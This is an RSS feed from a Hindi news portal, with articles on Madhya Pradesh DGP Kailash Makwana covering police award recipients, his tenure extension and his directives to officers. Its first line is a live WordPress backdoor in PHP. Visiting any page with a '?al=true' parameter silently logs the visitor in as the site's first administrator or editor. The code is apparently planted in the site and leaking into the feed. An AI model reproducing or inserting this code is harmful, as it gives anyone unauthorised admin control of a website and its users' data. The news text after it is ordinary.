// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); DGP Kailash Makwana – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 03 Jun 2026 17:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 डीजीपी कैलाश मकवाना ने वर्ष 2022-23एवं वर्ष 2023-24के लिए घोषित किए के.एफ. रुस्तम जी पुरस्कार https://pratyushaashakinayikiran.com/?p=224472 Wed, 03 Jun 2026 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=224472 भोपाल 

पुलिस महानिदेशक  कैलाश मकवाना द्वारा वर्ष 2022-23एवं वर्ष 2023-24 के लिए प्रतिष्ठितके.एफ. रुस्तम जी पुरस्कारप्रदान किए जाने की घोषणा की है। यह पुरस्कार मध्यप्रदेश पुलिस का एक महत्वपूर्ण सम्मान है, जो उन पुलिस अधिकारियों एवं कर्मचारियों को प्रदान किया जाता है जिन्होंने दस्यु उन्मूलन अभियान, नक्सल विरोधी अभियान, सांप्रदायिक दंगों एवं कानून-व्यवस्था की गंभीर परिस्थितियों के नियंत्रण में असाधारण कार्य करते हुए उच्चकोटि की वीरता, साहस, नेतृत्व क्षमता तथा कर्तव्यनिष्ठा का परिचय दिया हो।

के.एफ. रुस्तम जी पुरस्कार तीन श्रेणियों—परम विशिष्ट, अति विशिष्ट एवं विशिष्ट श्रेणी में प्रदान किया जाता है। इन पुरस्कारों का उद्देश्य पुलिस अधिकारियों एवं कर्मचारियों द्वारा चुनौतीपूर्ण परिस्थितियों में किए गए उत्कृष्ट कार्यों को सम्मानित करना तथा पुलिस बल में उत्कृष्टता एवं साहस की भावना को प्रोत्साहित करना है।

पुलिस महानिदेशक  कैलाश मकवाणा ने पुरस्कार प्राप्त करने वाले सभी अधिकारियों एवं कर्मचारियों को बधाई देते हुए कहा कि यह सम्मान केवल व्यक्तिगत उपलब्धि नहीं है, बल्कि मध्यप्रदेश पुलिस की व्यावसायिक दक्षता, समर्पण एवं जनसेवा की भावना का प्रतीक है। उन्होंने विश्वास व्यक्त किया कि पुरस्कार प्राप्त अधिकारी एवं कर्मचारी भविष्य में भी अपने उत्कृष्ट कार्यों से पुलिस संगठन की प्रतिष्ठा को नई ऊंचाइयों तक पहुंचाएंगे।

वर्ष 2022-23के लिए के.एफ.रूस्‍तम जी पुरस्‍कार से सम्‍मानित पुलिस अधिकारी और कर्मचारी

अति विशिष्ट श्रेणी :- एक बारह बोर गन एवं प्रमाण पत्र

1. सु निधि सक्‍सेना, सहायक पुलिस आयुक्‍त, महिला सुरक्षा, जिला भोपाल हाल सहायक पुलिस आयुक्‍त, इंदौर।

2.  गौरव सिंह बुन्‍देला, उप निरीक्षक (कार्यवाहक निरीक्षक) जिला नर्मदापुरम।

विशिष्ट श्रेणी :- रु.50,000/- एवं प्रमाण पत्र

1.  आशीष खरे, जोनल पुलिस अधीक्षक, विशेष शाखा, जिला जबलपुर हाल पुलिस अधीक्षक जिला डिंडौरी।

2.  रत्‍नेश तोमर, नगर पुलिस अधीक्षक, जिला ग्‍वालियर हाल सहायक सेनानी 14वीं वाहिनी विसबलग्‍वालियर।

3.  समर वर्मा, अतिरिक्‍त पुलिस अधीक्षक अपराध, जिला जबलपुर हाल पुलिस अधीक्षक ई.ओ.डब्‍ल्‍यूउज्‍जैन।

4. मती ऋचा राय चौबे, अतिरिक्‍त पुलिस उपायुक्‍त महिला सुरक्षा अजाक, नगरीय पुलिस भोपाल हाल सहायक पुलिस महानिरीक्षक रा.अ.अ.ब्‍यूरोपु.मु. भोपाल।

5.  अक्षय चौधरी, सहायक पुलिस आयुक्त, एम.पी.नगर. जिला – भोपाल।

6.  दामोदर गुप्ता, निरीक्षक थाना प्रभारी हुजरात कोतवाली, जिला – ग्वालियर हाल कार्यवाहक उप पुलिस अधीक्षक जिला सीहोर।

7.  जितेन्द्र कुमार पाठक, निरीक्षक थाना प्रभारी यशोधर्मन नगर, जिला मंदसौर हाल जिला नर्मदापुरम।

8.  अखिलेश चौकसे, निरीक्षक, फिंगर प्रिंट, जबलपुर।

9. मती इन्द्रा नामदेव, निरीक्षक, रा.अ.अ.ब्यूरो पुलिस मुख्यालय भोपाल।

10.  अजय तुरकई, निरीक्षक, विशेष शाखा, पुलिस मुख्यालय भोपाल।

11. मती आकांक्षा शर्मा, कार्यवाहक निरीक्षक, थाना प्रभारी अजाक, जिला भोपाल हाल जिला राजगढ।

12.  राजेन्द्र सिंह चौहान, उप निरीक्षक, थाना प्रभारी धरनावदा, जिला गुना।

13. सु श्वेता सोमकुंवर, उप निरीक्षक, शासकीय रेलवे पुलिस थाना, जिला – भोपाल।

14.  राजा तिवारी, उप निरीक्षक रेडियो, जिला – बुरहानपुर हाल जिला रतलाम।

15.  शशिकांतअम्बाडकर, उप निरीक्षक, विशेष शाखा, पुलिस मुख्यालय भोपाल।

16.  कृष्ण कुमार तिवारी, कार्यवाहक उप निरीक्षक, विशेष शाखा, पुलिस मुख्यालय भोपाल।

17.  ऋतुराज वारिवा, सूबेदार, रक्षित केन्द्र जिला भोपाल।

18.  राजेश राय, कार्यवाहक सहायक उप निरीक्षक, नक्सल सेल, पुलिस अधीक्षक कार्यालय बालाघाट।

19.  नरवीर सिंह राना, कार्यवाहक प्रआर 2617 थाना अपराध शाखा, जिला ग्वालियर।

20.  सौरभ टंडन, कार्यवाहक प्रआर 353 रक्षित केन्द्र, जिला दमोह।

21.  अर्शदीप सिंह, प्रधान आरक्षक (कम्प्यूटर) रा.अ.अ.ब्यूरो पुलिस मुख्यालय भोपाल।

22.  आदित्य साहू, कार्यवाहक प्रधान आरक्षक, सायबरक्राईम, भोपाल।

23.  आशीष कुमार वास, प्रधान आरक्षक 229 थाना अयोध्या नगर, जोन – 2 भोपाल।

24.  आशुतोष शर्मा, आरक्षक 1262 नक्सल कमाण्ड एण्ड कंट्रोल रूम, जिला बालाघाट।

वर्ष 2023-24के लिए के.एफ.रूस्‍तम जी पुरस्‍कार से सम्‍मानित पुलिस अधिकारी और कर्मचारी

परम विशिष्ट श्रेणी :-एक रिवाल्वर एवं प्रमाण पत्र

1.  राकेश खाखा, तत्का. अतिरिक्त पुलिस अधीक्षक, जिला रतलाम हाल उप सेनानी, 29वीं वाहिनी, वि.स. बल, दतिया।

2.  नागेन्द्र सिंह सिकरवार, तत्का. उप पुलिस अधीक्षक, अपराध-2 ग्वालियर हाल नगर पुलिस अधीक्षक, महराजपुरा जिला ग्वालियर

3. मती कंचन ठाकुर, कार्यवाहक निरीक्षक, जिला नर्मदापुरम।

4.  राजेश कुमार, आरक्षक (विसबल) एटीएस, इकाई भोपाल।

5.  कमलेश सिंह, आरक्षक (विसबल), एटीएस, इकाई भोपाल।

अति विशिष्ट श्रेणी :-एक बारह बोर गन एवं प्रमाण पत्र

1.  दुर्गेशआर्मो, तत्का. उप पुलिस अधीक्षक, जिला रतलाम हाल महिला अपराध जिला – बैतूल।

2.  योगेन्द्र साहू, उप निरीक्षक (अं.चि.), शाखा जिला – विदिशा।

3.  भेरू सिंह देवडा, सहायक उप निरीक्षक प्रभारी सायबर शाखा, जिला – धार।

4.  आत्माराम मकवाना, आरक्षक (जी.डी.) 8वीं वाहिनी, विसबल, छिंदवाडा।

5.  वसीम खान, आरक्षक (विसबल) एटीएस, इकाई भोपाल।

6.  विपुल भावसार, आरक्षक 218, सायबर सेल, जिला – रतलाम।

विशिष्ट श्रेणी :- रु.50,000/- एवं प्रमाण पत्र

1.  देवेन्द्र कुमार यादव, अतिरिक्त पुलिस अधीक्षक, नक्सल विरोधी अभियान बालाघाट हाल पुलिस अधीक्षक, ई.ओ.डब्ल्यू सागर।

2.  कमलेश कुमार खरपूसे, अतिरिक्त पुलिस अधीक्षक, जिला-रायसेन।

3.  लोकेश कुमार सिन्हा, अतिरिक्त पुलिस अधीक्षक, जिला सागर।

4.  जयदीप सूद, सहायक सेनानी, 25 वीं वाहिनी विसबल, भोपाल।

5.  दीशेष अग्रवाल, नगर पुलिस अधीक्षक, जिला देवास हाल उप पुलिस अधीक्षक, इंदौर।

6.  प्रशांत द्विवेदी, कार्यवाहक उप पुलिस अधीक्षक, एटीएस इकाई भोपाल।

7.  शशिकांत चौरसिया, निरीक्षक, थाना औ‌द्योगिक क्षेत्र, देवास।

8.  कमलेश सिंगार, निरीक्षक, थाना प्रभारी टाण्डा, जिला धार हाल प्रशासन शाखा पुलिस मुख्यालय भोपाल।

9.  राजेश यादव, निरीक्षक, थाना प्रभारी कुक्षी, जिला – धार।

10.  रविकांतडेहरिया, निरीक्षक, थाना प्रभारी गंज, जिला बैतूल हाल जिला – पांढुर्णा।

11.  विजेन्द्रमर्सकोले, निरीक्षक थाना कोहेफिजा, जिला भोपाल।

12. मती अंजना दुबे, कार्यवाहक निरीक्षक, एटीएस इकाई, भोपाल हाल नगरीय पुलिस भोपाल।

13.  राजपाल सिंह बघेल, कार्यवाहक निरीक्षक, जिला नरसिंहपुर हाल जिला – जबलपुर।

14.  वेदरामहनोते, कार्यवाहक निरीक्षक, थाना घुघरी, जिला मण्डला।

15. मती इला टंडन, कार्यवाहक निरीक्षक, थाना प्रभारी पडाव, जिला ग्वालियर।

16.  जगदीश यादव, सूबेदार, थाना यातायात, जिलाआगर-मालवा।

17.  लक्ष्मीनारायण गिरी, उप निरीक्षक, जिला रतलाम हाल जिला विदिशा।

18. सु प्रीति वर्मा, उप निरीक्षक, थाना टिकरिया, जिला- मण्डला।

19.  नरेन्द्र उईके, उप निरीक्षक, थाना कोतवाली, जिला बैतूल।

20.  यादवेन्द्रमरावी, उप निरीक्षक, थाना गाडरवाडा, जिला नरसिंहपुर हाल प्रतिनियुक्तिएसटीएफ, भोपाल।

21.  अजय कुमार शर्मा, कार्यवाहक उप निरीक्षक, नारकोटिक्स विंग, इन्दौर।

22.  सुरेश राठौर, कार्यवाहक उप निरीक्षक, रीडर टू.पु.अ. कार्यालय, जिला बडवानी।

23.  प्रीत कुमार, सहायक उप निरीक्षक (कम्प्यूटर) राज्य अपराध अभिलेख ब्यूरो, पुलिस मुख्यालय, भोपाल।

24.  रुद्रीचंदजखमोला, प्रधान आरक्षक 1228 (विसबल) हाल सहायक उप निरीक्षक हॉकफोर्स बालाघाट।

25.  रोशन यादव, प्रधान आरक्षक 1210, थाना परदेशीपुरा, इन्दौर।

26.  अमित वास, कार्यवाहक प्रधान आरक्षक, एटीएस इकाई भोपाल।

27.  नितेश सिंह तोमर, कार्यवाहक प्रधान आरक्षक, विसबल 424, एसआईबी यूनिट, बालाघाट।

28.  भास्कर पटेल, कार्यवाहक प्रधान आरक्षक 33, थाना गाडरवाडा, जिला नरसिंहपुर।

29.  वेद प्रकाश उइके, आरक्षक 363 (विसबल), एसआईबी बालाघाट।

30.  घनश्याम उइके, आरक्षक 1953 (विसबल), हॉकफोर्स बालाघाट।

31.  धर्मेन्द्र सिंह, आरक्षक (विसबल), एटीएस इकाई भोपाल।

32.  ऐश्वर्य वेंकट, आरक्षक 635, थाना गाडरवाडा, जिला नरसिंहपुर।

33.  दिनेश कुमार पटेल, आरक्षक 586, थाना गाडरवाडा, जिला नरसिंहपुर।

34.  सतीश कुमार वर्मा, आरक्षक (चालक), एसआईबी यूनिट, बालाघाट।

35.  हेमंत कुमार यादव, शीघ्रलेखक/सूबेदार (एम), विशेष शाखा, पुलिस मुख्यालय, भोपाल।

 

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मध्यप्रदेश के डीजीपी कैलाश मकवाना का कार्यकाल बढ़ा, अब दिसंबर 2026 तक करेंगे सेवा https://pratyushaashakinayikiran.com/?p=188648 Sat, 01 Nov 2025 10:35:00 +0000 https://pratyushaashakinayikiran.com/?p=188648 भोपाल 

मध्य प्रदेश के पुलिस महानिदेशक (डीजीपी) कैलाश मकवाना का कार्यकाल अब एक वर्ष बढ़ा दिया गया है। वे अब 1 दिसंबर 2026 तक पद पर बने रहेंगे। राज्य सरकार ने यह निर्णय सुप्रीम कोर्ट की गाइडलाइन के अनुरूप लिया है और गृह विभाग ने इसका आदेश जारी कर दिया है। मूल रूप से डीजीपी मकवाना का सेवानिवृत्ति की तिथि 1 दिसंबर 2025 निर्धारित थी। हालांकि, सुप्रीम कोर्ट के निर्देशों के अनुसार डीजीपी को दो वर्ष का न्यूनतम कार्यकाल मिलना आवश्यक है। इसी प्रावधान के चलते मकवाना को एक वर्ष का अतिरिक्त सेवाकाल प्रदान किया गया है।

गृह विभाग के अपर सचिव आशीष भार्गव द्वारा जारी आदेश में कहा गया है कि इस वर्ष 60 वर्ष की आयु पूरी करने वाले 17 आईपीएस अधिकारियों की सूची में मकवाना का नाम 16वें क्रम पर है। आदेश के मुताबिक, कैलाश मकवाना को 1 दिसंबर 2024 से डीजीपी के पद पर पदस्थ किया गया था, जिसके आदेश 23 नवंबर 2024 को जारी हुए थे। सुप्रीम कोर्ट के आदेश (सिविल याचिका क्रमांक 310/1996) के अनुसार डीजीपी को दो साल का पूरा कार्यकाल मिलना चाहिए। इसी प्रावधान के तहत राज्य सरकार ने निर्णय लेते हुए उनके रिटायरमेंट की तारीख 1 दिसंबर 2025 से बढ़ाकर 1 दिसंबर 2026 कर दी है। इस फैसले के साथ अब डीजीपी कैलाश मकवाना दिसंबर 2026 तक अपनी सेवाएं देंगे और उसके बाद ही सेवानिवृत्त होंगे।

कैसा रहा शैक्षणिक सफर

कैलाश मकवाना ने बीई किया है. इसके अलावा एमटेक की भी पढ़ाई की है. कैलाश मकवाना की एक्स प्रोफाइल पर उन्होंने खुद के बारे में बताया है कि वे आईआईटी से एमटेक हैं. वर्ष 2022 में विशेष पुलिस स्थापना लोकायुक्त में महानिदेशक बनाया गया था. इस दौरान उन्होंने एक आईएएस और एक आईएफएस अफसर के खिलाफ भ्रष्टाचार का मामला भी दर्ज कराया था. 

गौरतलब है कि कैलाश मकवाना का डीजीपी कार्यकाल अब दिसंबर 2026 तक रहेगा, जिससे वे मध्य प्रदेश पुलिस बल का नेतृत्व आगामी दो वर्षों तक करते रहेंगे. राज्य सरकार ने इसे प्रशासनिक स्थिरता और कानून-व्यवस्था की निरंतरता के लिए महत्वपूर्ण कदम बताया है.

आदेश में क्या लिखा है?

गृह विभाग के अपर सचिव आशीष भार्गव द्वारा जारी आदेश में उल्लेख है कि सर्वोच्च न्यायालय में दायर सिविल याचिका क्रमांक 310/1996 में दिए गए निर्देशों के अनुसार डीजीपी का कार्यकाल कम से कम दो वर्ष का होना चाहिए. इस गाइडलाइन को ध्यान में रखते हुए गृह विभाग ने मकवाना की सेवा अवधि 1 दिसंबर 2026 तक बढ़ाने का निर्णय लिया है.

आदेश में यह भी उल्लेख है कि इस वर्ष मध्य प्रदेश में 60 वर्ष की आयु पूर्ण करने वाले 17 आईपीएस अधिकारियों की सेवानिवृत्ति निर्धारित है, जिनमें कैलाश मकवाना का नाम 16वें स्थान पर है. सुप्रीम कोर्ट के निर्देशों के अनुरूप उन्हें अब पूर्ण दो वर्ष का कार्यकाल पूरा करने के बाद ही सेवानिवृत्त माना जाएगा.

 

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डीजीपी का अलर्ट मोड: धर्म के नाम पर शोषण बर्दाश्त नहीं, मजनुओं और ड्रग माफियाओं पर चलेगा बुलडोजर https://pratyushaashakinayikiran.com/?p=175706 Tue, 05 Aug 2025 10:07:00 +0000 https://pratyushaashakinayikiran.com/?p=175706 भोपाल
 भोपाल में सामने आए लव जिहाद और ड्रग्स कनेक्शन मामले के बाद पुलिस महानिदेशक (डीजीपी) कैलाश मकवाना ने प्रदेशभर में सख्त कार्रवाई के निर्देश दिए।उन्होंने कहा कि गर्ल्स स्कूल और कॉलेजों के पास नियमित पेट्रोलिंग की जाए ताकि छेड़खानी की घटनाएं न हों। धार्मिक आधार पर बालिकाओं का शोषण न हो, इसके लिए अतिरिक्त सतर्कता बरतें। शैक्षणिक संस्थानों के आसपास घूमने वाले मजनुओं पर सख्त कार्रवाई करें।

वर्चुअल बैठक में दिए निर्देश

सोमवार को पुलिस मुख्यालय से आयोजित वर्चुअल मीटिंग में प्रदेश के सभी जोनल एडीजी/आईजी, पुलिस आयुक्त भोपाल-इंदौर और सभी जिलों के एसपी शामिल हुए।

डीजीपी ने निर्देश दिए कि प्रत्येक गर्ल्स होस्टल और वर्किंग वुमन होस्टल से समन्वय के लिए बीट अधिकारी को नोडल अधिकारी बनाएं। प्रारंभिक शिकायत को गंभीरता से लेकर त्वरित कार्रवाई करें। ड्रग माफियाओं के खिलाफ अभियान तेज करें और अपने-अपने कार्यक्षेत्र में ड्रग्स हॉटस्पॉट्स की पहचान करें। बालिकाओं की गुमशुदगी के मामलों में तेजी से कार्रवाई करें।

स्टाफ रोटेशन और समीक्षा के निर्देश

डीजीपी ने अधिकारियों से अधीनस्थ स्टाफ की समीक्षा करने और अतिरिक्त या अटैच स्टाफ को उनकी मूल पदस्थापना या थानों में वापस भेजने को कहा। साथ ही सभी कर्मचारियों का नियमानुसार रोटेशन करने के निर्देश दिए, विशेषकर उन वाहन चालकों का जो लंबे समय से एक ही अधिकारी या थाने पर कार्यरत हैं।

बैठक में विशेष पुलिस महानिदेशक महिला सुरक्षा अनिल कुमार ने ऑपरेशन मुस्कान, ऑपरेशन हेल्पिंग हैंड, महिला अपराधों की विवेचना और डीएसआर की समीक्षा कर अधिकारियों को आवश्यक निर्देश दिए।

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पुलिस महानिदेशक मकवाना ने विभागीय जांच वाले अधिकारी-कर्मचारी थानों, क्राइम ब्रांच और दफ्तरों में नहीं होंगे तैनात https://pratyushaashakinayikiran.com/?p=164740 Wed, 18 Jun 2025 11:08:00 +0000 https://pratyushaashakinayikiran.com/?p=164740 भोपाल 

मध्य प्रदेश के DGP कैलाश मकवाना ने आपराधिक प्रकरण और विभागीय जाँच में संलिप्त पुलिस अधिकारियों और कर्मचारियों के विषय में बड़ा आदेश दिया है, पुलिस महानिदेशक ने आदेश दिया है कि ऐसे कोई भी अधिकारी कर्मचारी ना थानों में पदस्थ होंगे, ना क्राइम ब्रांच में और ना ही ये किसी अधिकारी के कार्यालय में पदस्थ किये जायेंगे, पुलिस मुख्यालय में ऐसे अधिकारियों और कर्मचारियों की जानकारी भेजने के निर्देश दिए हैं।

मध्य प्रदेश के जिलों में पुलिस थानों पर लंबे समय से जमे आरक्षक, प्रधान आरक्षक, सहायक उप निरीक्षक और उप निरीक्षकों को हटाने के आदेश के बाद डीजीपी ने आईजी, डीआईजी, एसपी के कार्यालयों में लंबे समय से जमे कर्मचारियों को हटाने के निर्देश पिछले दिनों दिए थे और पिछले आदेशों का पालन नहीं करने पर नाराजगी जताई थी।

अब डीजीपी ने आपराधिक प्रकरण और विभागीय जांच में संलिप्त अधिकारियों और कर्मचारियों के विषय में आदेश जारी किये है, विशेष महानिदेशक (प्रशासन) पुलिस मुख्यालय भोपाल आदर्श कटिमार ने डीजीपी के आदेश पर पुलिस आयुक्त (इन्दौर/भोपाल) और प्रदेश के सभी पुलिस अधीक्षकों (रेल सहित) के लिए आदेश जारी किया है।

आदेश का पालन नहीं होने पर नाराजगी 

ADGP आदर्श कटियार ने पत्र में लिखा कि 15 अक्टूबर 2014 को पुलिस मुख्यालय से जारी आदेश में आपराधिक प्रकरण एवं विभागीय जांच में संलिप्त पुलिस अधिकारियों कर्मचारियों की थानों में पदस्थापना के संबंध में विस्तृत दिशा-निर्देश जारी किये गये थे किन्तु देखने में यह आया है कि इन दिशा-निर्देशों का पालन नहीं किया जा रहा है।

थानों, क्राइम ब्रांच और अधिकारियों के ऑफिस में तैनाती प्रतिबंधित  

अतः पुनः निर्देशित किया जाता है कि जिन पुलिस अधिकारियों और कर्मचारियों के विरुद्ध आपराधिक प्रकरण विवेचना अथवा अभियोजन में लंबित है (दुर्घटना प्रकरण को छोड़कर) तथा जिन पुलिस कर्मियों के विरुद्ध भ्रष्टाचार, नैतिक अधोपतन, शारीरिक हिंसा एवं अवैध निरोध संबंधी आरोपों पर विभागीय जांच लंबित है उन्हें पुलिस थानों, काईम ब्रांच अथवा किसी अधिकारी के कार्यालय में तैनात नहीं किया जायेगा।

अधिकारियों, कर्मचारियों की जानकारी मुख्यालय ने मांगी 

एडीजीपी ने अधिकारियों को निर्देश दिए उनके अधीनस्थ इकाइयों में इस तरह के जो भी पुलिस अधिकारी, कर्मचारी हैं उनके बारे में आवश्यक कार्यवाही कर पालन प्रतिवेदन सहायक पुलिस महानिरीक्षक (कार्मिक) को ई-मेल aig admin2@mppolice.gov.in पर भेजें तथा भविष्य में भी इन निर्देशों का कड़ाई से पालन करें।

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पुलिस महानिदेशक मकवाणा ने वीसी से फील्ड के पुलिस अधिकारियों को दिए निर्देश https://pratyushaashakinayikiran.com/?p=106063 Wed, 04 Dec 2024 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=106063 भोपाल

पुलिस महानिदेशक कैलाश मकवाणा ने मंगलवार 03 दिसंबर को पुलिस मुख्‍यालय भोपाल से वीडियो कॉन्फ्रेंस के माध्‍यम से प्रदेश के समस्‍त जोनल अतिरिक्‍त पुलिस महानिदेशक, पुलिस महानिरीक्षक, उप पुलिस महानिरीक्षक एवं पुलिस अधीक्षकों की बैठक ली।

बैठक में डीजीपी ने कहा कि हमें प्रोफेशनल पुलिसिंग की ओर बढ़ना है। अकाउंटेबिलिटी, रिस्‍पोंसिवनेस और डिसिप्लिन, यूनिफार्म सर्विस होने के चलते अनिवार्यत: कायम रखना हैं। हमें रूल-ऑफ-लॉ अर्थात कानून सर्वोपरि है, को ध्‍यान में रखते हुए कानून के अनुसार कार्य करना हैं। हमारा आचरण निष्‍ठा और ईमानदारी युक्‍त हो तथा किसी भी तरह की नशाखोरी, भ्रष्‍ट्राचार आदि से दूर रहें।

सिंहस्थ 2028 की तैयारी पूरी तत्‍परता से करें

डीजीपी ने कहा कि सिंहस्‍थ-2028 मेगा इंवेंट है इसकी तैयारी में और गतिशीलता लाने की जरूरत है। उज्‍जैन के सराउंडिंग जिलों में भी पर्याप्‍त व्‍यवस्‍था सुनिश्चित करना है। समय पर प्‍लान बनाकर शासन को भेजना है ताकि सभी व्‍यवस्‍थाएं चाक-चौबंद हो सकें।

साइबर क्राइम, अवैध नशा और यातायात सुरक्षा पुलिस की प्राथमिकताएं

डीजीपी ने निर्देशित किया कि सायबर क्राइम, अवैध नशे के कारोबार और यातायात सुरक्षा पर तत्‍काल प्रभावशाली कार्य किया जाना सुनिश्चित करें। उन्‍होंने कहा कि हमारा कर्तव्‍य है कि हम युवा पी‍ढ़ी को नशे की गिरफ्त में आने से रोकें। इसलिए सभी स्‍कूल, कॉलेज में पुलिस अधिकारी पहुंचे और व्‍यापक जागरूकता अभियान चलाएं। इसके लिए मीडिया के सभी माध्‍यम, शार्ट वीडियो, पंपलेट, संगोष्‍ठी आदि का प्रयोग करें। आपके द्वारा की गई कार्यवही का समाज में प्रभाव दृष्टिगोचर होना भी सुनिश्चित करें। आसूचना तंत्र को मजबूत करें और अवैध नशे के कारोबार के पूरे नेटवर्क का पता लगाकर नेस्‍तनाबूद करें। पुलिस का कर्त्तव्य है कि आमजन को सुरक्षित और सुगम यातायात सुलभ कराएं। साथ ही हेलमेट पहनने को लेकर व्‍यापक जनजागरूकता निर्मित करें।

थाना स्‍टॉफ आमजन से संवेदनशील सद्व्‍यवहार और बदमाशों पर सख्‍ती रखे-

उन्‍होंने कहा कि सिटीजन सेंट्रिक सर्विसेज, जो पुलिस द्वारा दी जा रही हैं उनका रिव्‍यू करें और कौन सी सेवाएं दी जा सकती, उन्‍हें जोड़ने की संभावनाओं पर विचार करें। पुलिस स्‍टेशन पर आमजन का सर्वाधिक साबका पड़ता है। अत: अपने अधीनस्‍थ स्‍टॉफ को अपडेटेड रखें और उन्‍हें इम्‍पॉवर्ड करें। थाना स्‍टॉफ आमजन से संवेदनशीलतापूर्ण सद्व्‍यवहार करें और बदमाशों से सख्‍ती से निपटें। बेसिक पुलिसिंग को मजबूत करने के लिए ध्‍यान देने की आवश्‍यकता है। परेड निर्धारित समय पर हो। अधिकारी अपने-अपने कार्य क्षेत्र में सरप्राइज विजिट करें तथा सुपरविजन नोट भी देना सुनिश्चित करें। पुलिस की दृश्‍यता सड़कों पर विशेषकर सायंकाल में होना चाहिए।

जनसुनवाई प्रत्‍येक मंगलवार अनिवार्यत: हो

डीजीपी ने कहा कि हमें अपनी विश्‍वसनीयता आमजन के बीच स्‍थापित करना होगा। अच्‍छे पुलिसकर्मियों को रिवार्ड और बुरे को दंडित करना सुनिश्चित करें। आपकी कार्यप्रणाली से आमजनता को राहत मिले और कार्रवाई सही हो, इसका ध्‍यान रखें। सांप्रदायिक सद्भावना बरकरार रखें। वीवीआईपी विजिट के दौरान निर्धारित सुरक्षा मानकों का कड़ाई से पालन करें। कोई भी अधिकारी अपना कार्यक्षेत्र नहीं छोड़े। शासन के निर्देशानुसार प्रत्‍येक मंगलवार को अनिवार्यत: जनसुनवाई करें और आवेदनों पर निष्‍पक्षता से त्‍वरित कार्रवाई सुनिश्चित करें।

 

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DGP कैलाश मकवाना बोले- पुलिस को अधिक Professional, Responsive, Accountable बनाना प्राथमिकता https://pratyushaashakinayikiran.com/?p=105450 Mon, 02 Dec 2024 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=105450 भोपाल.
मध्य प्रदेश के पुलिस महा निदेशक (DGP) कैलाश मकवाना ने पुलिस मुख्यालय पहुंचकर कार्यभार संभाल लिया है उन्होंने मीडिया से बात करते हुए अपनी प्राथमिकतायें गिनाई और पुलिस को और बेहतर बनाने की अपनी योजनाओं को बताया, उन्होंने कहा कि मेरी प्राथमिकता पुलिस को अधिक Professional, अधिक Responsive एवं अधिक Accountable बनाना रहेगी। पुलिस महानिदेशक मकवाना ने कहा कि पुलिस को इस बात के लिए ताकीद किया जायेगा कि वो अनुशासन में रहे और रूल ऑफ़ लॉ का पालन करे, उन्होंने कहा कि राज्य शासन की प्राथमिकताएं भी अहम रहेंगी उनपर फोकस बनाये रखने पर ध्यान रहेगा।

सिंहस्थ सहित कई कार्यक्रमों की करेंगे समीक्षा
DGP ने उज्जैन में होने वाले सिंहस्थ सहित आने वाले समय में होने वाले सभी बड़े आयोजनों की रुपरेखा की समीक्षा की भी बात कही, उन्होंने कहा कि वे पिछले तीन साल से पुलिस मुख्यालय से दूर थे इस दौरान बहुत से बदलाव हुए है उन्हें देखकर फिर वे आगे की योजनाएं बनायेंगे।

साइबर फ्रॉड रोकने पब्लिक अवेयरनेस कार्यक्रम चलाए जाएंगे
एक सवाल के जवाब में डीजीपी कैलाश मकवाना ने कहा, मप्र पुलिस साइबर क्राइम रोकने के लिए अच्छा परफॉर्मेंस कर रही है, हम साइबर फ्रॉड को रोकने के लिए पब्लिक अवेयरनेस कार्यक्रम चलाए जाएंगे, जिससे जनता इस तरह के धोखे से खुद को बचाकर रख सके।

प्रयास रहेगा आम जनता को राहत दिला सकें
उन्होंने कहा कि पुलिस के लिए इन्फ्रास्ट्रक्चर डवलप करना भी बहुत जरूरी है, पुलिस थानों में जनता की सुनवाई हो, पुलिस रिस्पांस करें मेरी निगाह भी इसपर रहेगी प्रयास रहेगा आम जनता को राहत दिला सकें, नक्सल और नशे के खिलाफ भी पुलिस बेहतर कार्रवाई करें इसका प्रयास रहेगा।

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